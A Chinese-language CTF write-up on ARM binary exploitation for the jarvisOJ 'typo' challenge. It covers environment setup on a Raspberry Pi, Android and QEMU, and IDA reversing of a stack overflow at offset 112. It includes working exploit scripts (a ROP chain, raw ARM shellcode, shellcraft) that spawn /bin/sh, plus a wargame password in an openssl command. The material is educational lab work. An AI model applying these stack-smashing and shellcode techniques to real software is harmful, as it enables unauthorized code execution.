ARM PWN入门

本意是参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/arm/arm_rop-zh学习ARM相关的漏洞以及利用,却在搭建环境的问题上弄了好久,不明白QEMU启动一堆镜像都是啥,所以采用暴力的方式直接在ARM机器上学习,采用了树莓派,还有装了Termux的android手机直接gdb本地调试,安装zio本地利用。例题:jarvisOJ_typo

树莓派3B+安装64位ubuntu18.04

$ diskutil list
$ diskutil unmountDisk /dev/disk2
$ sudo sh -c 'gunzip -c ./ubuntu-18.04.4-preinstalled-server-arm64+raspi3.img.xz' | sudo dd of=/dev/disk2 bs=32m

就是先通过diskutil list命令找到TF卡对应的设备文件:/dev/disk2,然后利用diskutil unmountDisk /dev/disk2命令将TF卸载,因为如果TF挂载到了本机的文件系统上,就会处于繁忙状态,我们无法对其直接进行块设备的操作。然后在通过gunzip -c把压缩包解压并输出到标准输出,然后通过管道给dd程序的输入,完成镜像的写入。

烧写完之后将TF插入到树莓派中,启动后如果没有显示器和键盘直接能控制树莓派的话,可以用网线将其连入局域网中(如果只有无线的话,可以用电脑的网络共享,比如MAC可以将无线网络共享给有线网卡,共享后可以看到虚拟网卡bridge100),此时树莓派是DHCP客户端,可以通过查看路由器后台或者nmap扫描网段的方式(利用ping扫描比快:sudo nmap -sP 192.168.2.0/24)发现树莓派IP,然后SSH连入,ubuntu镜像的默认用户名密码是ubuntu:ubuntu,在镜像下载地址页面第四条写了,我找了好久。登录进去首次需要修改密码,然后正常apt update更新但是报错如下:

E: Release file for XXX is not valid yet 
Updates for this repository will not be applied.

原因是系统时间与网络时间(网易云仓库)的不同导致更新错误,解决办法是安装网络时间自动同步软件:apt install chrony即可。然后就是一顿安装gdb,gcc,gef啥的,64位下运行32位arm程序运行库:libc6:armhf libc6-dev:armhf也装了,这个库的名字可以这么查询:

$ apt search libc6 | grep armhf

然后就可以运行和调试CTF-wiki那个例题了:

ubuntu@ubuntu:~$ file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
ubuntu@ubuntu:~$ ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

在本机上用IDA打开然后就看到了这种指令:

STMFD   SP!, {R7,LR}

查了STMFD的意思:store Multiple FULL Descending,arm-汇编stmdb、ldmia、stmfd、ldmfd,实在是不知道啥意思SP还有个叹号,感觉挺吓人的。后来才知道这玩意就是个PUSH压栈指令。参考ARM的栈指令,不过这篇文章的满栈的图好像画错了。其实就是在x86下执行push pop指令时栈由高地址向低地址增长是默认的,而arm里提供指令可以让栈的实现是从低地址向高地址增长,而且还可以细化当压栈和出栈时,栈顶指针是先调到未来的栈顶还是后调到。叹号的意思是自动调节栈指针,所以还是需要细致的学习一下ARM指令。

ARM基础知识

只要把第一个PPT看懂了就可以做一些基础的题目了,个人认为和x86比较不同的是函数调用的指令:

  • x86采用call和ret完成函数调用,原理是把返回地址压栈
  • 而arm采用b系列指令完成跳转,pop pc的方式回到父函数调用处
  • b系列指令中的bl指令把返回地址存到了lr寄存器中,函数返回时把原来的lr寄存器的值弄到pc里
  • 所以其实换汤不换药,x86和arm的思路都是差不多,只不过arm多了个lr寄存器,在叶子函数里省的把返回地址压栈了

不过这里我有两个疑问:

  • 栈上为啥要保存PC和SP,每次bl跳到其他位置时不是把要返回的地址保存到lr里了么,如果是非叶子函数才应该把lr压栈的,所以不应该保存PC。不保存SP的理由是,当栈恢复平衡后应该是自动调节到原来的SP上了,所以目前我的思维和x86下的一样,就是保存栈基址和返回地址,不过因为多了个lr寄存器,所以在叶子函数中只保存r11(x86的ebp)即可

image

  • 还有是这叶子函数和非叶子函数prologue是不是写反了,我认为叶子函数应该是不会跳到其他函数,也就不会覆盖lr寄存器,也就不需要在prologue保存lr寄存器。

image

另外有一个实验室研究ARM看起来很厉害而且很开放:https://azeria-labs.com/,这个站点里有题目有教程,他们还画了一张关于ARM指令的图,很极客:

image

还找到一些ARM的题目:

IDA分析typo

这道题基本所有的WP都是说直接发现的栈溢出,但是并没给具体是哪块代码栈溢出了,所以我还是写点不一样的。

检查文件类型和保护都可以在本地完成,发现是一个32位的ARM程序,静态链接,无符号表,并且没有canary和PIE,而且加载地址是0x8000,和平时在x86下的默认的起始地址不大一样。

  file ./typo                 
./typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
  checksec ./typo
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

因为是静态链接并且去了符号表所以,IDA只能根据ELF的起始地址的信息标记处_start,通过_start或者关键字符串交叉引用可以找到main函数:sub_8F00,f5后发现函数到sub_11338就没了,但是这显然不对,估计这个函数是printf,回到IDA显示汇编的窗口,发现:

.text:00009028                 LDR     R0, =aS         ; "\n%s\n"
.text:0000902C                 MOV     R1, R3
.text:00009030                 BL      printf
.text:00009030 ; End of function main
.text:00009030
.text:00009034 ; ---------------------------------------------------------------------------
.text:00009034                 LDR     R2, [R11,#-0x1C]
.text:00009038                 MOV     R3, R2
.text:0000903C                 MOV     R3, R3,LSL#2
.text:00009040                 ADD     R3, R3, R2
.text:00009044                 MOV     R3, R3,LSL#2
.text:00009048                 LDR     R2, =aAbandon   ; "abandon"
.text:0000904C                 ADD     R3, R3, R2

IDA识别到这就结束了,往下翻到:

.text:0000911C                 LDMFD   SP!, {R4,R11,PC}

感觉这到这才结束,所以尝试修改函数识别的范围,在上面的分割线上右键,选择Edit funtion,修改End Address为.text:00009120,然后重新F5,发现还是没有识别到printf后面,然后我回到了IDA的汇编界面,把printf这条调用NOP掉了,选择Edit菜单栏-> Patch program->Patch Bytes,然后将C0 20 00 EB修改为00 00 A0 E1,然后重新F5,终于正常了:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // ST00_4
  int v4; // ST04_4
  int v5; // r0
  int v6; // r0
  int v7; // r0
  int v8; // r0
  int v9; // r0
  int v10; // r0
  int v11; // r0
  int v12; // r1
  int v13; // r1
  int v14; // [sp+8h] [bp-2Ch]
  int v15; // [sp+Ch] [bp-28h]
  int v16; // [sp+14h] [bp-20h]
  int v17; // [sp+1Ch] [bp-18h]
  int v18; // [sp+20h] [bp-14h]
  int v19; // [sp+24h] [bp-10h]
  int v20; // [sp+24h] [bp-10h]

  v19 = 0;
  v18 = 0;
  sub_11D04(off_A1538, 0, 2, 0, argv, argc);
  sub_11D04(off_A1534[0], 0, 2, 0, v3, v4);
  v5 = sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 86);
  if ( sub_12170(v5) != 10 )
    sub_FBD4(-1);
  sub_22240(1, "------Begin------", 17);
  v6 = sub_214CC(0);
  v7 = sub_FE28(v6);
  v17 = sub_21474(v7);
  while ( 1 )
  {
    ++v19;
    v8 = sub_10568();
    v9 = sub_8D24(&aAbandon[20 * (v8 % 4504)], &aAbandon[20 * (v8 % 4504)]);
    v16 = v9;
    if ( !v9 )
    {
      v9 = sub_11AC0("E.r.r.o.r.");
      ++v18;
    }
    if ( v16 == 2 )
    {
      v20 = v19 - 1;
      v10 = sub_21474(v9);
      v11 = sub_9428(v10 - v17);
      v14 = sub_9770(v11, v12, 0, 1093567616);
      v15 = v13;
      sub_22240(1, "------END------", 15);
      sub_11F80(10);
      sub_8DF0(v20, v18, v14, v15);
    }
  }
}

最后点进sub_8D24这个函数:

signed int __fastcall sub_8D24(int a1)
{
  int v1; // r0
  int v2; // r4
  int v5; // [sp+4h] [bp-78h]
  char v6; // [sp+Ch] [bp-70h]

  v5 = a1;
  sub_20AF0(&v6, 0, 100);
  sub_221B0(0, &v6, 512);
  v1 = sub_1F800(v5);
  if ( !sub_1F860(v5, &v6, v1) )
  {
    v2 = sub_1F800(v5);
    if ( v2 == sub_1F800(&v6) - 1 )
      return 1;
  }
  if ( v6 == 126 )
    return 2;
  return 0;
}

应该能看出来是栈溢出了,非叶子函数,回到这个函数的汇编看到:

STMFD   SP!, {R4,R11,LR}

的确是把R11,LR这俩寄存器的内容压栈了,而且IDA分析出的v6距离栈底的距离是0x70,即112字节。

测试与利用

一开始采用:

python -c 'print "\n"+"a"*112' | ./typo

这种方式测试,结果是相当的奇怪,减小112到110也会段错误,然后在小就会疯狂的输出单词。然后我直接输入exp,也还是段错误:

python -c 'from pwn import *;print "\n"+"a"*112+p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)' | ./typo

然后我把exp导出文件:

python -c 'from pwn import *;print "\n"+"a"*112+p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)' > input

然后从gdb调试里导入:

ubuntu@ubuntu:~$ gdb -q ./typo
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./typo...(no debugging symbols found)...done.
gef➤  b * 0x20904
Breakpoint 1 at 0x20904
gef➤  r < input

然后断下的时候的状态:

gef➤  x /i $pc
=> 0x20904:	pop	{r0, r4, pc}
gef➤  x /4wx $sp
0xfffef4f8:	0x0006c384	0x0006c384	0x000110b4	0xfffef70a
gef➤  x /s 0x6c384
0x6c384:	"/bin/sh"

然后继续运行就段错误了,PC走到了0x60,每次运行还都不太一样。无论是在树莓派上还是在手机上都无法成功

在树莓派上

但是我在树莓派上直接运行调试,把程序状态改成这样就能getshell

ubuntu@ubuntu:~$ gdb -q ./typo
gef➤  b * 0x00008DE8
Breakpoint 1 at 0x8de8
gef➤  r
Starting program: /home/ubuntu/typo
Let s Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
Thursday
a

[#0] 0x8de8 → pop {r4,  r11,  pc}
Breakpoint 1, 0x00008de8 in ?? ()

gef➤  x /10wx $sp+8
0xfffef4f4:	0x00009058	0xfffef684	0x00000001	0x00000006
0xfffef504:	0xfffef7a1	0x00008cb4	0x0000a670	0x00000fb7
0xfffef514:	0x00003915	0x00000000

gef➤  set *(0xfffef4f4)=0x20904
gef➤  set *(0xfffef4f8)=0x0006c384
gef➤  set *(0xfffef4fc)=0x0006c384
gef➤  set *(0xfffef500)=0x000110b4

gef➤  x /10wx $sp+8
0xfffef4f4:	0x00020904	0x0006c384	0x0006c384	0x000110b4
0xfffef504:	0xfffef7a1	0x00008cb4	0x0000a670	0x00000fb7
0xfffef514:	0x00003915	0x00000000

gef➤  b * 0x20904
Breakpoint 2 at 0x20904
gef➤  c

[#0] Id 1, Name: "typo", stopped, reason: BREAKPOINT
[#0] 0x20904 → pop {r0,  r4,  pc}
Breakpoint 2, 0x00020904 in ?? ()

gef➤  c
Continuing.
$ ls
core  exp.py  exp2.py  input  test  test.c  typo  xxx

最后猜测可能是通过文件或者管道输入会有EOF,键盘上输入EOF是ctrl+d,EOF并不是一个ascii码,而是linux一个输入完成的标记,我们尝试正常运行程序打字是按ctrl+d:

grandfather
E.r.r.o.r.

volcano
E.r.r.o.r.

maintain
E.r.r.o.r.

tuition
E.r.r.o.r.

程序会一直走,跟我们之间脚本输入的不足110个字符的情景一致。所以估计可能是eof处理的问题,还是需要从标准输入进行利用。在树莓派上安好了pwntools

from pwn import *

io = process("./typo")
io.recv()
io.send("\n")
io.recv()
payload = 'a'*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4)
io.send(payload)
io.interactive()

成功getshell,看来的确是IO的问题。另外前几天在打wargames的Bandit时有一关是用openssl的s_client连上目标服务器然后发送数据,我就想用一条命令解题,然后向通过管道输入给openssl,但是如果什么参数都不加就不会成功的发送数据,查看其帮助openssl s_client -h,发现有这个选项:

-ign_eof      - ignore input eof (default when -quiet)

如果加上-ign_eof或者-quiet参数,就可以忽略eof,然后就能成功的通过管道或者文件利用一条命令完成本题:

echo "BfMYroe26WYalil77FoDi9qh59eK5xNr" | openssl s_client -connect localhost:30001 -quiet 2>/dev/null

所以估计typo这题不成功的原因也是EOF

在Android上

在我的termux里无法成功安装pwntools,但是可以安装zio3

from zio3 import *

io = zio("./typo")
io.read_until("quit\n")
io.writeline("")
io.read_until("\n")
payload = 'a'*112 + l32(0x20904) + l32(0x6c384)*2 + l32(0x110b4)
io.writeline(payload)
io.interact()

不止为何,仍然无法成功,此脚本在树莓派上可以成功。所以在android上没有成功的原因不仅仅是EOF的问题,另外我知道android没有/bin/sh,我把参数往后调了5个字节,变成了sh即payload为:

payload = 'a'*112 + l32(0x20904) + l32(0x6c389)*2 + l32(0x110b4)

仍然无法成功

在qemu上

2021.1.15,现在看这题小意思

ROP解法:

from pwn import *
context(log_level='debug')
#io = process(['qemu-arm',"-g","1234",'./typo'])
io = process(['qemu-arm','./typo'])
io.sendlineafter("quit\n","")

payload = 'a'*112
payload += p32(0x00020904) # pop {r0, r4, pc}
payload += p32(0x0006C384) # /bin/sh
payload += p32(0)

payload += p32(0x00014068) # pop {r7, pc}
payload += p32(0) 
payload += p32(0x00008160) # pop {r3, pc}
payload += p32(0x00014a70) # pop {r3, r4, r7, pc}
payload += p32(0x00033aa4) # mov r1, r7; blx r3

payload += p32(0x000482fc) # svc #0
payload += p32(0)
payload += p32(0xb)
payload += p32(0x0003338c) # mov r2, r4; blx r3; 

io.sendline(payload)
io.interactive()

shellcode解法:不同环境栈地址不同

from pwn import *
context(log_level='debug')
#io = process(['qemu-arm',"-g","1234",'./typo'])
io = process(['qemu-arm','./typo'])
io.sendlineafter("quit\n","")

shellcode  = "\x02\x20\x42\xe0\x1c\x30\x8f\xe2"
shellcode += "\x04\x30\x8d\xe5\x08\x20\x8d\xe5"
shellcode += "\x13\x02\xa0\xe1\x07\x20\xc3\xe5"
shellcode += "\x04\x30\x8f\xe2\x04\x10\x8d\xe2"
shellcode += "\x01\x20\xc3\xe5\x0b\x0b\x90\xef"
shellcode += "/bin/sh"

payload = shellcode.ljust(112,'a')
payload += p32(0xf6ffed64)

io.sendline(payload)
io.interactive()

shellcraft精简版:

from pwn import *
context(log_level='debug',arch='arm')
io = process(['qemu-arm','./typo'])

io.sendlineafter("quit\n","")
io.sendline(asm(shellcraft.sh()).ljust(112,'a') + p32(0xf6ffed64))
io.interactive()

总结

看起来的确在android上还是有很大的不一样的,而且自己对于控制IO还不是很懂,比如当漏洞程序执行execve(“/bin/sh”,0,0),我们的确执行了程序的控制流,但是getshell实际上是启动一个子进程然后执行/bin/sh,但是父进程输入输出和子进程的输入输出都是在当前的tty,我们getshell之后,父进程是直接崩溃了么?这个过程具体是啥样的我还不是很清楚。

其他参考

typo的wp:

利用qemu的pwn环境搭建:

qemu相关: